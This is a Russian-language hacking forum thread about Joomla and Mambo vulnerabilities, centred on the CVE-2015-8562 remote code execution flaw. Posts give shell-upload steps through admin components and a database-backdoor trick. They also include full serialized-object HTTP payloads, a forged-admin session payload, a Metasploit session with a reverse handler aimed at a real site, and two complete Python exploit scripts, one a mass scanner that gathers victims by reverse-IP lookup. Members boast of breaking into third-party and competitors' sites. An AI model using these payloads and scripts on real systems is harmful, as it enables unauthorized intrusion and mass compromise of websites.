Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

Discussion in 'Веб-уязвимости' started by it's my, 6 Oct 2007.

  1. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    Заливка шелла через RSForm! Pro тестировал на версии 1.50.0

    Требуются админские права!!!

    В админке переходим: Компоненты-> RSForm! Pro -> Управление формами -> (Выбираем любую форму) -> Свойства -> Скрипты (Сценарии выполнения программы)
    в первое же поле вбиваем phpinfo(); и профит!

    Скрипт выполняющий код:

    administrator\components\com_rsform\helpers\rsform.php - 1981 строчка
    eval($form->ScriptDisplay);

    Запись для выполнения кода заносятся в таблицу JOS__rsform_forms в колонки ScriptProcess, ScriptProcess2, ScriptDisplay
    Таким образом мы можем спрятать бегдор в БД!
     
    _________________________
  2. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    хм, ок))

    Заливка шелла через Virtuemart
    , нужны права одмина или модератора, как повезет

    1.Заливка с Front End
    смотрим id товара с тегов, их атрибутов и тд и далее переходим по урлю ?option=com_virtuemart&tmpl=component&view=product&task=edit&virtuemart_product_id=[id] и грузим в фото товара с PHP расширением.

    2. Заливка с админки
    В фото товара льем свой шелл c PHP расширением.
     
    #302 Strilo4ka, 5 Dec 2015
    Last edited: 5 Dec 2015
    rct and GoodGoogle like this.
  3. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Joomla 0day RCE (от 1.5 до 3.4)

    Code:
    GET /joomla/ HTTP/1.1
    Host: 192.168.152.130
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
    x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}𝌆
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64
    Connection: keep-alive
    Code:
    POST /joomla/ HTTP/1.1
    Host: 192.168.152.130
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 24
    111=cGhwaW5mbygpOw%3d%3d

    Дисклос: https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html
    PoC: http://www.freebuf.com/vuls/89754.html
     
    _________________________
  4. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    362
    Likes Received:
    62
    Reputations:
    11
    А есть подробности использования? И получилось ли у кого-нибудь заюзать?
     
  5. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    Code:
    User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}�
    Запрос сробатывает со второго раза!
     
    _________________________
    blackbox likes this.
  6. ZodiaX

    ZodiaX Reservists Of Antichat

    Joined:
    7 May 2009
    Messages:
    533
    Likes Received:
    308
    Reputations:
    51
    Code:
    eval(base64_decode($_POST[111]))
    111 - это я так понимаю место для shell'a?
     
  7. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    _________________________
  8. seiklm

    seiklm Banned

    Joined:
    15 Dec 2015
    Messages:
    134
    Likes Received:
    1
    Reputations:
    0
    А как выполнить этот запрос?
     
  9. aka180000

    aka180000 New Member

    Joined:
    9 Nov 2015
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Народ, а кто нибудь может платно показать как работает эта уязвимость. Все вопросы в личку.
     
  10. AppS

    AppS Member

    Joined:
    8 Aug 2009
    Messages:
    249
    Likes Received:
    25
    Reputations:
    6
    Марафон открыт)
     
    #310 AppS, 16 Dec 2015
    Last edited: 16 Dec 2015
  11. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    394
    Likes Received:
    213
    Reputations:
    4
    Я то могу платно показать, как она работает, но

    1. Пробивается не больше 5% сайтов. Почему - надо смотреть код Джумлы.
    2. Есть куча левых фиксов, которые не позволяют выполнить это.
    3. Тот же CloudFlare посылает ваши эксплоиты строго по компасу.

    Вообщем так, сайты своих друзей и врагов я протестировал. Один дырявый у друзей уже пофиксил. Из числа конкурентов, к сожалению, никто не пробивается. Далее мне эта тема не интересна :)
     
  12. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    у меня из 150 сайтов 18 пробило, все пробитые от 3.x и выше, щас на массовость буду смотреть по версиям на 8к сатов, что пробьется...

    P.S: Тема очень обсуждаема, вынести бы ее в отдельную тему... модерам...
     
    _________________________
  13. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    362
    Likes Received:
    62
    Reputations:
    11
    В этой ссылке, которую приводили выше - https://github.com/rapid7/metasploit-framework/pull/6355 описаны некоторые ограничения по версии php. Я пробовал эксплоит на хостах, с подходящими версиями - либо возвращается обычная страница, либо 403 или пустой ответ сервера. В двух последних случаях подозреваю WAF. Пока не ясно как с ним бороться.
     
  14. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    класс JDatabaseDriverMysqli , нашёл только в версии 332, а вот где еть возможность записи в файл сессии так и не нашёл

    83 public function __destruct()
    84 {
    85 $this->disconnect();
    86 }

    200 public function disconnect()
    201 {
    202 // Close the connection.
    203 if ($this->connection)
    204 {
    205 foreach ($this->disconnectHandlers as $h)
    206 {
    207 call_user_func_array($h, array( &$this));
    208 }
    209
    210 mysqli_close($this->connection);
    211 }
    212
    213 $this->connection = null;
    214 }
     
  15. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    394
    Likes Received:
    213
    Reputations:
    4
    Что-то не варит котелок у меня уже. Если кто заставит это чудо пробивать версии линейки 2.5 просьба отписать сюди или в ЛС. С меня пиво.
     
  16. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    Бьет только версию 3.x за счет:

    а во второй ветки он прописан так:

     
    _________________________
  17. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    394
    Likes Received:
    213
    Reputations:
    4
    Тут вроде бы еще одна возможность намечается:

    Проверил как в 3.4 выглядит сессия админа. С учетом вычищенного лишнего:
    Я сознательно поубирал всякий хлам. Если ЭТО внести непосредственно (руками) в таблицу session независимо от содержимого полей client_id и guest на главной странице появляется кнопка редактирования постов со всеми вытекающими. В админку я не попал, но думаю дело техники.

    Теперь если не руками. Отправляю запрос со следующим User-Agent:
    PHP:
    $uagent='";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":28:{s:9:"\0\0\0isRoot";b:1;s:2:"id";s:1:"1";s:4:"name";s:6:"Hacker";s:8:"username";s:5:"admin";s:5:"email";s:1:"@";s:8:"password";s:4:"SUXX";s:14:"password_clear";s:0:"";s:5:"block";s:1:"0";s:9:"sendEmail";s:1:"1";s:12:"registerDate";s:10:"2015-01-01";s:13:"lastvisitDate";s:19:"0000-00-00 00:00:00";s:10:"activation";s:1:"0";s:6:"params";s:0:"";s:6:"groups";a:1:{i:8;s:1:"8";}s:5:"guest";i:0;s:13:"lastResetTime";s:19:"0000-00-00 00:00:00";s:10:"resetCount";s:1:"0";s:12:"requireReset";s:1:"0";s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:8;}s:14:"\0\0\0_authLevels";a:5:{i:0;i:1;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:6;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;s:6:"otpKey";s:0:"";s:4:"otep";s:0:"";}s:13:"session.token";s:2:"ff";}'."\xf0\x9d\x8c\x86";
    В базу благополучно записывается такое значение сессии:
    Но как только я запрашиваю страницу браузером с той же кукой - заветной кнопки не вижу и в базу автоматически заносится
    Если в структуре, занесенной в БД посредством подмены User-Agent заменить (уже в базе руками)
    s:1088:""; на s:1:"1"; или что-либо еще корректное - то все работает и я получаю права автора на редактирование публикаций с сайта.

    не катит

    Если _default обрезать и дописать к нему второй _default - джумла потом дополняет первый как в предыдущем случае, а второй хвостом болтается. В версии 2.5 хвост превращается в __defaul2|N;

    В исходники особо не вникал, но возможно что это можно раскрутить до получения прав автора админа.
     
    #317 vvs777, 17 Dec 2015
    Last edited: 17 Dec 2015
    BabaDook likes this.
  18. Ups

    Ups Member

    Joined:
    11 Apr 2011
    Messages:
    113
    Likes Received:
    12
    Reputations:
    0
    Code:
    msf exploit(joomla_http_header_rce) > set RHOST www.aquak***.ru
    RHOST => www.aquak***.ru
    msf exploit(joomla_http_header_rce) > check
    [*] www.aquak***.ru:80 - The target appears to be vulnerable.
    msf exploit(joomla_http_header_rce) > exploit
    
    [*] Started reverse handler on 188.227.**.**:4444
    [*] www.aquak***.ru:80 - Sending payload ...
    [*] Exploit completed, but no session was created.
    msf exploit(joomla_http_header_rce) >
    :(
     
  19. Filipp

    Filipp Elder - Старейшина

    Joined:
    10 May 2015
    Messages:
    257
    Likes Received:
    57
    Reputations:
    31
    Подкоректировал сплоит (https://www.exploit-db.com/exploits/38977/), выкладываю, может кому-то пригодиться. Реально задолбался менять payload и URL в файле. Еще сделал запись результата в файл. Для работы нужна библиотека requests, ставить так:
    Code:
    pip install requests
    P.S Ни разу не пробивал Jooml'y < 3.x. И еще бывает такое, что результат не выводится на страницу но выполняется. Проверить это можно создав обычный сниффер.
    Code:
    #! /usr/bin/python
    # -*- coding: utf-8 -*-
    import requests #  easy_install requests
    
    import sys
    
    reload(sys)
    
    sys.setdefaultencoding('cp866')
    
    def get_url(url, user_agent):
    
    
        headers = {
    
        'User-Agent': user_agent
    
        }
    
        cookies = requests.get(url,headers=headers).cookies
    
        for _ in range(3):
    
            response = requests.get(url, headers=headers,cookies=cookies)
    
        f = open('result.html', 'w')
    
        f.write(response.content)
    
        f.close()
    
        res = "Смотри файл result.html"
    
        return res
    
    
    
    def php_str_noquotes(data):
    
        "Convert string to chr(xx).chr(xx) for use in php"
    
        encoded = ""
    
        for char in data:
    
            encoded += "chr({0}).".format(ord(char))
    
    
        return encoded[:-1]
    
    
    
    def generate_payload(php_payload):
    
    
        php_payload = "eval({0})".format(php_str_noquotes(php_payload))
    
    
        terminate = '\xf0\xfd\xfd\xfd';
    
        exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    
        injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
    
        exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    
        exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
    
    
        return exploit_template
    
    
    
    
    print ("Moded by Filipp for ANTICHAT.RU")
    
    vulnurl = raw_input("URL: ")
    
    phpexec = raw_input("PHP-код (без <? ?>): ")
    
    pl = generate_payload(phpexec)
    
    print get_url(vulnurl, pl)
     
    #319 Filipp, 17 Dec 2015
    Last edited: 18 Dec 2015
    nick_sale and BabaDook like this.
  20. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    362
    Likes Received:
    62
    Reputations:
    11
    Выкладываю свою поделку для проверки списка сайтов на CVE-2015-8562. Скрипт работает в двух режимах: можно указать домен, по которому будет осуществлен reverse ip lookup и получен список сайтов для проверки или же задать файл со списком сайтов. В случае если сайт уязвим, программа выведет "exploitable". Есть возможность результат записать в лог-файл. Сильно не пинайте, посоны, код корявенький, работает тоже не шибко шустро. Да, и еще, обратите внимание на название заголовка, который используется - сейчас он еще работает там, где уже фильтруется UA.

    Code:
    '''
      joomla rce masschek for CVE-2015-8562
      bb special for antichat.ru
      thx to: Gary@Sec-1 ltd, antichat community
      19.12.2015   
    '''
    import sys
    import re
    import requests
    import getopt
    
    message = "--"
    def get_url(url, user_agent):
       global message         
       headers = {
       #'User-Agent': user_agent   
       'x-forwarded-for': user_agent
       }
       response = None
       try:
         cookies = requests.get(url, timeout=15, headers=headers).cookies
    
         for _ in range(3):
           response = requests.get(url, timeout=15, headers=headers,cookies=cookies)   
       except Exception as ex:
         #print ex.message
         message = "Error: " + str(ex.message)
       if response:
         #print "got response"
         #print response.content
         return response.content
       return None
       
    def php_str_noquotes(data):
      "Convert string to chr(xx).chr(xx) for use in php"
      encoded = ""
      for char in data:
      encoded += "chr({0}).".format(ord(char))
      return encoded[:-1]
    def generate_payload(php_payload):
      php_payload = "eval({0})".format(php_str_noquotes(php_payload))
      terminate = '\xf0\xfd\xfd\xfd';
      exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
      injected_payload = "{};JFactory::getConfig();exit".format(php_payload)   
      exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
      exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
      return exploit_template
    def get_site_list(domain):
       url = "http://viewdns.info/reverseip/?host=" + domain  + "&t=1"
       headers = {
       
       'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1'   
         
       }
    
       #print url
       try:
         response = requests.get(url, timeout=15, headers = headers)
         text =  response.content
         #print text
         sites = re.findall("<tr>\s+<td>(.*?)</td><td align=", text)
       except Exception as ex:
         print ex.message
       return sites
       
    
    def check_sites(site_list, pl, do_log, log_file):
       global message
       i = 1
       count = len(site_list)
       for site in site_list:
         site = site.strip()
         if(site.find("http://") == -1 ):
           host = "http://"+site
         else:
           host = site
         #print host
         resp = get_url(host ,pl)
         if resp != None:       
           lstr = ""
           m = re.search("phpinfo()", resp)
           if m:
            lstr = host + " exploitable"
           else :
             lstr =  host + " --"
         else:
           #print "error!"
           lstr = host + " " + message
           message = "--"
         print "[" + str(i) + "/" + str(count) + "] "+ lstr
         i = i + 1
         if(do_log == True):
           log_file_handle = open(log_file, "a")
           log_file_handle.write(lstr+"\n")
           log_file_handle.close()
    
    def usage():
       
       print "Usage: "+sys.argv[0]+" "+"<options>"
       print "Options:"
       print "-d, --domain   domain for reverse lookup on viewdns.info"
       print "-f, --file   file with site list to check"
       print "-l, --log   save result to log file"
       print "Example: "+sys.argv[0]+" --file domains.txt --log output.txt"
    
    
    
    
    pl = generate_payload("phpinfo();")
    #text = get_url(host, pl)
    
    #write log?   
    write_log = False
    log_file = ""
    domain = ""
    read_file = ""
    opts, args = getopt.getopt(sys.argv[1:], "f:d:l:", ["file=","domain=","log="]);
    
    for opt, arg in opts:
       if opt in("-f", "--file"):
         read_file = arg
       elif opt in("-d", "--domain"):
         domain = arg
       elif opt in("-l", "--log"):
         log_file = arg
         write_log = True
    
    if(domain and read_file):
       usage()
       exit()
    
    if(domain == "" and read_file == ""):
       usage()
       exit()
    
    if(write_log == True):
       
       fh = open(log_file, "w")
       fh.close()
    
    #use file or get domains from viewdns.info
    
    if(domain):
       sites = get_site_list(domain)
       #print sites
       print "Total " +str(len(sites)) + " sites to check"
       check_sites(sites, pl, write_log, log_file)
    elif(read_file):
       fh = open(read_file,"r")
       data = fh.readlines()
       fh.close()
       print "Total " +str(len(data)) + " sites to check"
       check_sites(data, pl, write_log, log_file)
    
    
    
    
    
    
    
    Надеюсь кому-нибудь пригодится.
     
    #320 blackbox, 19 Dec 2015
    Last edited: 21 Dec 2015